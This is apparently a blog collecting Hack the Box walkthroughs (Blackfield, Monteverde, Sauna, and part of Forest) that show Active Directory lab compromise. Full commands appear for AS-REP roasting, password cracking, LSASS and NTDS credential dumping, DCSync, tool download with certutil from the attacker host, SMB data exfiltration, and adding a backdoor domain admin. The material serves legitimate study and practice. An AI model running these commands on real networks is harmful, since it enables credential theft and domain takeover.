Walkthrough on MidwestSec

HTB - Blackfield

Mon, 18 May 2026 00:00:00 +0000

Introduction

Welcome back! In this walkthrough I go over Hack the Box’s Blackfield. After moving through 3 accounts, I discovered how to abuse backup permissions to grab the domain administrator credentials, compromise the domain and Capture the Flag.

Starting off with Nmap.

Nmap scan report for 10.129.229.17
Host is up (0.030s latency).
Not shown: 65526 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-05-04 19:32:17Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open tcpwrapped
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
| date: 2026-05-04T19:32:24
|_ start_date: N/A
|_clock-skew: 6h59m58s
| smb2-security-mode: 
| 3:1:1: 
|_ Message signing enabled and required

As you can see, there are significantly fewer ports open than the other boxes I’ve completed. I notice Kerberos, SMB, LDAP and WinRM are open right away.

SMB

When I see SMB is open, I always start there as it is often a good place to gather data. I connect to the SMB shares via smbclient

smbclient -L \\\\[IP]

This returns the usual shares in addition to a forensic and profiles$ share. I attempted to connect to forensic and failed due to permissions. The profiles$ share was next and it provided a ton of data.

smbclient \\\\[IP]\\profiles$

Once connected, I searched the share and got a list of all the domain’s usernames. I went through the list manually to start, and added usernames to a file that I thought would be of interest. To start, I included the BConsultant, audit2020, support, and svc_backup accounts. With Kerberos being open, AS-REP roasting was my next step.

AS-REP Roasting

I’ve learned that, at least in the labs, AS-REP is always a good choice to try. In modern environments, disabling Kerberos pre-authentication is not recommended because it exposes accounts to AS-REP roasting attacks. It is uncommon to see it disabled in environments today.

I started the AS-REP roast and successfully gathered the hash of the support user.

sudo netexec ldap [DC IP] -u un.txt -p '' - asreproast hashes.txt - verbose - kdc [DC IP]

I ran that hash through hashcat and now have a valid account to further enumerate with.

hashcat -m 18200 -a 0 -o cracked.txt hashes.txt /usr/share/wordlists/rockyou.txt

Initial Foothold + Deeper Enumeration

Now that I have a compromised account, I went back to the SMB shares and attempted to connect to the forensic share. That was still unsuccessful. Time to keep enumerating and find the user that has access to that share.

Going back to my trusty friend, BloodHound, I enumerated Active Directory with the BloodHound python script. This script connects to the domain controller, using the compromised account, and provides a map of the Active Directory environment. The copy of the script I have is:

sudo bloodhound-python -d [DOMAIN] -u [USER] -p [PASSWORD] -ns [DC IP] -c ALL

Replacing the placeholders, my command was

sudo bloodhound-python -d blackfield -u support -p [PW] -ns [IP] -c ALL

Once this ran, I imported the data into BloodHound and started looking at the support account.

BloodHound showed that the support account had the ForceChangePassword permission over the audit2020 account.

This means that my compromised account has control over something else. I looked and I was able to see that I could change the password to the audit2020 account. This was important! I could now change the password of another account, compromise it and (hopefully) enumerate more information.

How do I Change this Password!?

At this point, I was venturing into uncharted territory. I’m used to changing account passwords through the domain controller. How can I change the password of another user when I don’t have access to Active Directory Users and Groups?

I did some digging and there is a way to change it via rpcclient on my Kali machine. I installed the tool:

sudo apt install samba-common-bin

Then I ran the commands to change the audit2020 password

rpcclient -U 'BLACKFIELD.local/support%[PW] [IP]

This connects to the remote machine. I had to use the % between the user and password because the password starts with #. It wasn’t working otherwise.

Once I got connected, I was able to change the password.

setuserinfo2 audit2020 23 'Password123!'
quit

The setuserinfo2 portion of the command is the function to modify a user object. Audit2020 is the account we want to modify. The 23 parameter tells rpcclient to perform a password reset without requiring the user’s current password. The quit command just exits the prompt. I have made even more progress! I now have two compromised accounts. This is important. I can begin to enumerate with a second account. With a name like audit2020 and an SMB share of forensic, things are starting to line up.

It’s Forensic Time!

I fired up smbclient again with my new account and attempted to connect to the forensic share.

smbclient \\\\[IP]\\forensic -U blackfield/audit2020 --password Password123!

I successfully connected to the forensic share. Another victory!

Within the share were a few folders; most notably “memory_analysis”. I investigated the folder and came across an LSASS dump file. LSASS is responsible for enforcing security policy and handling authentication processes on Windows systems. If I can analyze the dump file, I can grab the hash of other users, allowing me to continue moving through the machine.

Looking in the Tools folder, there was a tool called Volatility. Knowing that it was left there as a hint to complete the box, I started to learn about the tool. Volatility allows the user to analyze memory dumps. I attempted to use it on my machine, but I couldn’t get the newest version to work. I looked at alternatives and came across pypykatz. While Volatility is a full memory forensics tool, pypykatz analyzed the dump file and extracted the credentials more easily.

pypykatz lsa minidump [path/to/file/]/lsass.DMP

BINGO! I scanned through the output and saw the administrator account and associated password hash. I was ecstatic. I thought I had cracked the puzzle. I attempted to connect to the DC via evil-winrm and was unsuccessful. After investigating, it was pulling the hash of the local administrator, not the domain administrator. I continued to scan the output and came across the svc_backup user. Time to see where I can get with this account!

It’s Backup Time!

I hopped into BloodHound and pulled up the svc_backup account. I see that it is a member of the “Remote Management Users” and “Backup Operators” groups. This indicates that this account has elevated privileges. I fired up Evil-WinRM and connected with the hash I pulled from pypykatz.

I connected and, since this is Capture the Flag, I grabbed the flag. To verify that this account has backup permissions, I ran a quick check: whoami /priv.

This verified that I have the SeBackupPrivilege. Due to this privilege, I can access sensitive files. I followed a walkthrough (grab link when this decides to work) to capitalize on this privilege. It walked me through getting the SAM file, which contains the hashes of local user accounts, the system hive and how to grab the hashes. Even though the SAM didn’t provide anything useful to me, it led me to the next step which allowed me to compromise the domain.

To grab the files, I started within Evil-WinRM. I created a temp directory to dump all of the contents into. To grab the SAM, I ran the following command:

reg save HKLM\sam C:\temp\sam.hive

Then I moved on to the system hive. The system hive contains the keys required to decrypt material.

reg save HKLM\system C:\temp\system.hive

Now that I have both the SAM and system hives, I can work with secretsdump to get the hashes. I copied the files to my machine and ran

secretsdump.py -sam sam.hive -system system.hive LOCAL

This successfully dumped the hashes of the users in SAM. I attempted to use the local administrative account and failed. I did some more investigating and started in on the NTDS file. This contains the hashes of the domain users, including the domain administrator.

Pwned

Initially, I just tried to copy the NTDS file over. It is located at C:\Windows\NTDS\ntds.dit. I copied the file and attempted to use it with secretsdump. This failed, as I learned, because you need to create a backup of the file first and then dump it. Now I had to investigate how to create that backup.

Because the account had the SeBackupPrivilege, I was able to utilize diskshadow.exe to create a Volume Shadow Copy of the C: drive. This allows access to protected files such as ntds.dit without directly interacting with the live Active Directory database, which is what I had attempted earlier and failed.

Full disclosure, I used some coughdigitalcough assistance in getting this section completed. I used the following commands to create a TXT file. The file contains the commands that are needed to use diskshadow to create a backup of NTDS.

cmd /c "echo set context persistent nowriters> shadow.txt"
cmd /c "echo add volume c: alias vss>> shadow.txt"
cmd /c "echo create>> shadow.txt"
cmd /c "echo expose %vss% z:>> shadow.txt"
diskshadow.exe /s shadow.txt
robocopy /b Z:\Windows\NTDS C:\temp ntds.dit

The set context persistent nowriters command told DiskShadow to create a shadow copy while excluding VSS writers. Excluding writers helps avoid issues with services such as Active Directory that normally lock database files. Next,

cmd /c "echo add volume c: alias vss

specified that the C: volume should be shadowed and assigned the alias vss.

The command

cmd /c "echo create

generates the actual snapshot.

Finally,

cmd /c "echo expose %vss% z:

mounted the shadow copy as the Z: drive, allowing the snapshot contents to be browsed like a normal filesystem.

Once the shadow copy was mounted, I used robocopy /b to copy the protected ntds.dit file from the snapshot. The /b switch forces Robocopy to operate in backup mode, allowing the process to utilize SeBackupPrivilege and bypass normal file access restrictions. After copying ntds.dit, the file could be transferred to Kali and processed offline with secretsdump to extract domain credential hashes utilizing the existing system hive I copied earlier.

secretsdump.py -ntds ntds.dit -system system.hive LOCAL

Upon completion, hashes of all users were presented, including the domain administrator account.

I used Evil-WinRM with my new hash and compromised the machine and Active Directory.

Thoughts

When I started this box, I saw that it had been graded as hard. This was a bit concerning as I had struggled with a medium box before this. I knew that I would have to think back to my Practical Ethical Hacker (PEH) course. I know I needed to continue enumerating, find additional users, and keep moving forward. I think that making these writeups is helping this stick a little bit more. I’m having to think about the steps I took to successfully complete the machine and the reasons for them. As Einstein said, “If you can’t explain it simply, you don’t understand it well enough”. By no means am I saying I’m an expert, but this is forcing me to think about the “why”. On to the next one.

HTB - Monteverde

Fri, 01 May 2026 00:00:00 +0000

Introduction

Hello again! This write up is going over Hack the Box’s Monteverde. I worked through most of the box independently but relied on the walkthrough for the final steps. We’ll get into more detail as we get there.

Nmap

As always, we start with an Nmap scan.

Nmap scan report for 10.129.228.111
Host is up (0.030s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-12 15:46:13Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: monteverde; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
| date: 2026-04-12T15:47:06
|_ start_date: N/A
| smb2-security-mode: 
| 3:1:1: 
|_ Message signing enabled and required

Looking through the results, I notice that I’m dealing with another Windows Domain Controller. I also note that SMB and WinRM are open.

LDAP

Right away I attempt to enumerate LDAP. I use enum4linux as my trusty tool. It provides a ton of information regarding the target’s setup. I go through looking for information that is immediately pertinent; domain and usernames. Thanks to this enumeration, I know the domain is megabank.local. Moving on to attacks, I created a TXT file and entered the usernames.

mhope
SABatchJobs
svc-ata
svc-bexec
svc-netapp
dgalanos
roleary
smorgan

I went on my AS-REP Roasting to see if that was an option. Unfortunately, it didn’t return anything.

Knowing AS-REP Roasting wasn’t an option, I continued to look through the output of enum4linux. Since no obvious attack paths appeared in the short time before boarding a plane, I decided to try and brute force credentials. I ended up using Hydra and the rockyou file to see if I could get an easy win while flying.

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt [Remote_Box_IP] ldap -s 389

With the brute force attacking being unsuccessful, I thought about deeper LDAP enumeration. While thinking, I realized that I could target the user descriptions. If I could enumerate the description field for each user, there might be a chance I could find a password hidden away.

To do this, I found a tool called ldapsearch. Ldapsearch allows you to query anything using the LDAP service. In this case, it is Active Directory.

ldapsearch -x -H ldap://[Remote_Box_IP] -b "DC=MEGABANK,DC=LOCAL" "(&(objectClass=user)(description=*))" description

To keep the flag descriptions short and simple:

x — anonymous authentication
H — the target server
b — the base distinguished name (DN)
- This is the path that you want to search
- The base DN defines the directory path (CN, OU, DC structure)
“(&(objectClass=user)(description=*))” description — The thing I’m looking for, in this case it is user descriptions

I ran this command and it didn’t return any useful information. Now that I’ve exhausted that option, I needed to move on.

At this point, a clear attack path wasn’t revealing itself. I decided to review the hint provided by the box. The hint mentioned that a user’s password was their username. Since there were so few users, I decided to manually try each account. If there were more users, I would figure out a way to script the attempts.

I attempted to log into the target machine via Evil-WinRM with each set of credentials. Lo and behold, I was successful with the SABatchJobs account. This was the initial foothold I needed to launch into deeper enumeration and eventual domain compromise. Now I can shift my focus to privilege escalation. This confirmed weak credential hygiene within the domain and suggested other misconfigurations might exist.

I decided to take a slightly different angle on further enumeration that I have on the previous two boxes. I fired up ldapdomaindump. This tool allows the attacker to use valid credentials and map out Active Directory.

sudo /usr/bin/ldapdomaindump ldaps:// [Remote_Box_IP] -u 'megabank.local\ SABatchJobs' -p SABatchJobs

This outputs the files into a bunch of HTML and JSON files. These files are then grouped into different categories, such as users, groups and users in groups. I like to start with domain_users_by_group.html as it shows the users and their respective groups. While scanning through that, a user had extra permissions: mhope. This user belonged to the Azure Admins group. I now know my next target.

BloodHound

I fired up BloodHound and extracted data from the domain controller. I still ran BloodHound to validate relationships visually and cross-check my findings.

sudo bloodhound-python -d megabank.local -u SABatchJobs -p SABatchJobs -ns [Remote_Box_IP] -c all

BloodHound is a good tool for mapping Active Directory and seeing what paths exist between users/groups and privilege escalation options. I marked SABatchJobs as owned and looked for different paths to the server or even mhope. Nothing of importance came up.

SMB

Knowing that SMB was open and I had valid credentials, I started to dig into the SMB share. Initially, I just listed what shares were available.

smbclient -L \\\\[Remote_Box_IP] -U sabatchjobs - password SABatchJobs - option 'client min protocol=SMB2'

Initially, I tried to perform a Group Policy Preferences (GPP) attack and see if there were any passwords saved in group policy that could be used to escalate. This attack focuses on GPO preferences and scans for any passwords that may be saved. The passwords are encrypted; however, Microsoft had released the public key which allows the data to be decrypted. I wasn’t successful, but I’ll detail the method to perform this attack.

Open Metasploit (msfconsole) and run the smb_enum_gpp module. Enter the pertinent information and run it. It will connect to the server with the credentials provided and scan SYSVOL for credentials.

After my attempt with the GPP attack, I manually enumerated the rest of the shares. Of interest was the users$ share, particularly mhope. I dug into his share, as it was available to access. Within there I came across an azure.xml file. This exposed credentials in cleartext, which is a critical misconfiguration and a common real-world finding. Another win! My focus is privilege escalation toward domain admin now.

Running into Trouble

I repeated the same enumeration steps listed before, but with mhope, in hopes that his permissions would provide different data that my SABatchJobs account. Lo and behold, this did not reveal any additional attack paths.

After exhausting those options, I attempted a Kerberoasting attack to identify any service accounts that could be leveraged for privilege escalation.

Kerberoasting targets accounts associated with Service Principal Names (SPNs). When a domain user requests a service ticket (TGS) for one of these services, the ticket is encrypted using the service account’s password hash. This allows an attacker to request the ticket and then attempt to crack it offline.

I used Impacket’s GetUserSPNs.py to enumerate any accounts with SPNs and request their associated tickets.

sudo GetUserSPNs.py megabank.local/mhope:[password] -dc-ip [Remote_Box_IP] -request

However, this did not return any results, indicating that there were no Kerberoastable accounts available with my current access. I then pivoted to a different approach for privilege escalation.

With no clear path, I shifted my focus to the Entra ID Sync tool for potential privilege escalation. This tool syncs on-prem Active Directory data to Entra ID and stores credentials for that process.

Initially, I discovered a script called adconnectdump. This tool was created to extract credentials from the Sync database. It can run remotely, similar to ldapdomaindump, but this approach was unsuccessful.

To run the script on the target machine, I copied the Python script over. I verified that Python was not installed. I discovered that Python has an embeddable option. This allows Python to run without installation, which is useful when local administrative permissions are not available. I transferred the embeddable Python file to the target machine and ran the adconnectdump script.

The script did not perform as expected. This ended up being due to different Entra ID Sync versions. The script was made for newer versions of the Sync tool while the one installed on the target machine was older.

I referred to the walkthrough and confirmed that I was on the right track. Within the walkthrough, it is mentioned that there is a script available for older versions of the software. There are a few preparation steps needed to get the new script functioning.

I need to extract the instance_id, keyset_id and entropy from the existing database. This data will allow me to decrypt any password used for syncing.

sqlcmd -S MONTEVERDE -Q "use ADsync; select instance_id,keyset_id,entropy from mms_server_configuration"

After modifying the script, I was able to successfully decrypt the credentials stored within Entra ID Sync. This occurs because Entra ID Sync often stores highly privileged service account credentials. This highlights how synchronization services can unintentionally expose domain-level credentials if not properly secured.

I used Evil-WinRM with my new credentials as verification and successfully logged in. Once logged in, I captured the flag.

To recap, here is the attack path:

LDAP Enumeration -> Weak Credentials -> SMB share exposure -> Credential Discovery -> Entra ID Sync abuse -> Domain compromise.

Wrap Up - My Thoughts

I’m learning that as soon as I feel that I’m starting to grasp concepts and break into boxes, something comes along and proves I’m not. I had been stuck on working through the Entra ID Sync for most of the time I spent on this box. Regardless, this is all about learning and improving little by little. I would much rather spend time studying and practicing on things harder than the actual exam. That was my mindset with the CISSP and the actual exam was easier compared to the material I had been studying from.

Overall, I’m continuing to move forward, learn new things and begin to implement what I’m learning as I’m moving forward. Two boxes ago, I had no idea that Evil-WinRM was a tool and now I’m using it all the time. One key takeaway from this box is to always consider Entra ID Sync as a high-value target in hybrid environments.

Small progress is still progress.

HTB - Sauna

Sun, 12 Apr 2026 00:00:00 +0000

Introduction

If you’re reading this, hello again! I finished up Hack the Box’s Sauna. This one went a lot quicker than I had anticipated. As I mentioned in my Forest walkthrough, these are meant to be a reference for future me. What I didn’t know was that it was going to come into play so quickly. Let’s jump in.

Enumeration

Again, just like I do for everything, I start with my Nmap scan.

Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-07 07:52 CDT
Nmap scan report for 10.129.95.180
Host is up (0.030s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
| http-methods: 
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-07 19:54:10Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49678/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49692/tcp open msrpc Microsoft Windows RPC
49700/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m51s
| smb2-time: 
| date: 2026-04-07T19:55:03
|_ start_date: N/A
| smb2-security-mode: 
| 3:1:1: 
|_ Message signing enabled and required

Analyzing the scan, I notice quite a few similarities to the Forest box. It is a domain controller, has HTTP, LDAP and WinRM open. At this point, I’m thinking that this could be a very similar setup to Forest.

HTTP + AS-REP Roast

Let’s start with HTTP. I opened my browser and navigated to the webpage. Right off the bat, I am presented with Egotistical Bank’s homepage. Knowing that this is an actual webpage, I start DirBuster to enumerate available paths. DirBuster is a great tool to use when it comes to HTTP. It will take a wordlist and run through the URL and see if any pages exist. If it comes back with an HTTP 200, 301 or 403, it will report. HTTP 200 means that the page exists and is accessible. HTTP 301 is a redirect. This means that it will redirect you to a different page. 403 is an indication that you don’t have permission to view that page.

The way I approach DirBuster is to launch it with the & at the end of the command:

dirbuster&

The & allows it to open from the terminal but still allow other commands to run. I start with the DirBuster medium list and let it run. I select the “go faster” option. Since I know this is IIS, I select asp and aspx for file extensions. If this were Linux, I would leave it as PHP.

While DirBuster is running, I’m analyzing the web site itself. I look at blogs and see a “jenny joy” that has posted. I make note of that as a potential user. I then see the “About” page. Looking through that, I see a list of employees. I created a txt file with different combinations their names. For example, first initial+last name, first name+last name, etc… After creating a list of potential usernames, I attempted AS-REP roasting. I followed the same path as I did in Forest, so I won’t go into that detail. After going through the AS-REP roasting, I was successful and obtained an AS-REP hash for fsmith. From there, I was able to crack the password using Hashcat. Again, it was the same process as Forest.

Evil-WinRM + SharpHound

With valid credentials, I established a foothold using Evil-WinRM. While navigating through the machine, an account stood out: svc-loanmanager. I decided to focus on that later.

I copied SharpHound over to the remote machine. I first navigated to where SharpHound is located and then started up a simple HTTP server. This allows me to copy the file from Kali to the remote machine. The IP of 10.10.15.101 is the IP of my machine.

On Kali

cd /usr/share/sharphound
python3 -m http.server 80

On the DC

certutil -urlcache -f http://10.10.15.101/SharpHound sharp.exe

This uses the built-in Windows command to download the file from my Kali machine. Once it has been downloaded, I simply run SharpHound. SharpHound gathers Active Directory data for analysis in BloodHound.

.\sharp.exe

Once I have the data, I copy it back to my machine for analysis in BloodHound. The easiest way I’ve found to copy from the remote machine to my attacking machine is to host an SMB server on my machine and copy that way. I prefer using SMB because it is typically faster and more reliable than HTTP for transferring files.

On Kali

impacket-smbserver share . -smb2support

On the DC

copy 20260410162326_BloodHound.zip \\10.10.15.101\share\

Now that I have the data, I imported the data into BloodHound.

BloodHound

Again, I’m slowly learning the nuances of BloodHound. I analyzed the data I had for the fsmith account. It showed PSRemote as a potential escalation path. After looking into it, it wasn’t going to provide me any access that I didn’t already have by Evil-WinRM. As I mentioned earlier, I noticed that svc-loanmanager account. I investigated that account and noticed it had DCSync permissions already. This was the lightbulb moment. If I could compromise that account, I could perform a DCSync. DCSync allows for data replication from the domain controller, if the user has permissions to do so. When it syncs, it relays users and password hashes. I now have my next target.

Stored Passwords + Privilege Escalation

I went through my Windows Privilege Escalation notes to see what paths I might have available to me. I looked at user permissions and didn’t have anything that I could readily abuse. Continuing through my notes, I started to look for passwords. Initially, I used a simple findstr command to see if I could get anything to return.

findstr /si password *.txt

While that was running, I continued through my notes. I came across a registry query command that looks in the WinLogon section for credentials. The WinLogon registry key controls elements of the Windows logon process. If auto-logon is configured for a user, the credentials could be stored in plaintext. This can then be retrieved and used. I used the following command on the DC:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

This brought back the password for the svc-loanmanager account that I was focused on. Now that I had those credentials, I could perform a DCSync attack and gather the hashes for all users within the domain.

Compromise + Persistence

I performed the DCSync and gathered the hashes.

impacket-secretsdump egotisticalbank/svc_loanmgr:'[PW]'@10.129.10.103

Now that I have the administrator hash, I used Evil-WinRM to get back into the DC as the domain admin.

evil-winrm -i 10.129.10.103 -u Administrator -H [hash]

I then navigated to the desktop and captured the flag. To demonstrate full domain compromise and persistence, I created a new domain administrator account. On the DC, I ran:

net user zach abcd.1234! /add
net group "Domain Admins" zach /add

This created an account named zach that is a domain admin. Again, I used Evil-WinRM to gain access to the DC and prove that I was a domain admin.

Final Thoughts

Overall, the initial foothold was the same as Forest. Pattern recognition is starting to click, especially recognizing when WinRM and AS-REP roasting can be reused across similar environments. I quickly realized that WinRM and AS-REP roasting were viable paths based on patterns from previous machines. This was a fun box and I’m looking forward to continuing to improve.

HTB - Forest

Tue, 07 Apr 2026 00:00:00 +0000

Introduction

Hello and welcome to my first walkthrough. I’m going over Hack the Box’s Forest box. While working on this box, I learned about AS-REP roasting and DACL attacks. I’m still new to the red-team world so all of this was new and exciting to learn about! Throughout this writeup, you’ll see me use [IP] as a placeholder for the IP of the machine. This is because I had to reset it daily as I get ~30 minutes a day to work on these boxes.

Initial Enumeration

Every environment I work in immediately starts with an Nmap scan. This allows me to see what devices are on the network, their running services and information about those services. The Nmap command I run is

nmap -A -p- -T 4 [IP]

The -A flag provides OS detection (-O flag), version detection (-sV flag) and runs default scripts against the endpoint (-sC flag). The default scripts look for things like SSL cert info, SMB info and HTTP titles. The -A flag also performs a traceroute from the attacking machine to the remote machine. This allows you to see how data gets from the attacking machine to the remote machine and can be useful.

The -p- flag scans all 65,535 TCP ports. By default, Nmap only scans the first 1000 most common ports. The remaining 64,535 ports could be in use, and you won’t know it by using the default options. By using the -p- flag, we’re able to enumerate all the ports and see if something is running on a non-standard port. In the past, I’ve encountered HTTP running on non-standard ports that have allowed me to compromise the machine.

The -T flag controls the speed at which Nmap performs the scan. You can choose a number between 1 (slow) and 5 (fast). Depending on the environment, you may want to slow things down to avoid detection. I’ve found that -T 4 is the “sweet spot” for labs.

Now that I’ve described my initial Nmap scan, let’s get to the results.

Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-18 07:29 CST
Nmap scan report for 10.129.1.45
Host is up (0.031s latency).
Not shown: 65512 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-02-18 13:36:18Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49683/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
Device type: general purpose
Running: Microsoft Windows 2016|2019
OS CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2019
OS details: Microsoft Windows Server 2016 or Server 2019
Network Distance: 2 hops
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-time:
| date: 2026-02-18T13:37:14
|_ start_date: 2026-02-18T13:34:06
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2026-02-18T05:37:13-08:00
|_clock-skew: mean: 2h45m57s, deviation: 4h37m09s, median: 5m55s

Upon initial inspection, I can tell this is a Windows Server and is a domain controller by the following ports: 88, 389, 636, and 3268. Port 88 is Kerberos and is used for authentication. Ports 389, 636, and 3268 are all related to LDAP. Port 636 is LDAPS, a secure version of LDAP.

I can see that the server is also a file share by ports 139 and 445. Port 139 is SMB over NetBIOS while port 445 is SMB over TCP. Knowing that the -A flag from our scan performs basic scripts, I can see what information SMB provides to us. Looking at the script results, the following information is gathered:

Anonymous authentication to view shares is available
SMB signing is enabled
SMB2 and SMB3 are used, SMB1 is disabled
It is a Windows Server 2016 standard OS
Hostname of the machine is FOREST
The domain is htb.local

All this information was gained just from my Nmap scan and some basic scripts being ran.

There are two HTTP services running on ports 5985 and 47001. At the time, I hadn’t investigated any of the other ports. Little did I know port 5985 would be a huge port for me.

Now that I’ve discussed my initial enumeration, I’ll dive into each service and how I enumerated those services.

SMB

If I see SMB open, I typically start there. From my Nmap scan, I see that I can connect anonymously. The command I use is

smbclient -L \\\\[IP] --option ‘client min protocol=SMB2’

The -L flag lists the shares that remote machine has. Knowing the box used SMB2/SMB3, I had to throw on the option to use SMB2 otherwise it wouldn’t connect.

Using smbclient, I was able to list the different shares that were available. Unfortunately, I didn’t have permission to access any of them.

HTTP

In this case, I tried to navigate to the machine’s HTTP services by using [IP]:[port]. Again, neither service was accessible. If they would have been, I would have tried directory busting to see what was available.

LDAP

From my previous courses that I’ve taken, I hadn’t had to enumerate LDAP, so this was a new one for me. I learned that Linux has an LDAP enumeration tool called enum4linux. This neat little tool provides a ton of information from the remote box. I created a TXT file and added all the enumerated usernames to it. Once I got to this point, I wasn’t quite sure what path to go down. Going back to my PEH notes, I ran through different things, but nothing worked. I decided to check the hint, and it mentioned AS-REP roasting. Again, this was a new concept, so I did some investigating.

AS-REP Roasting

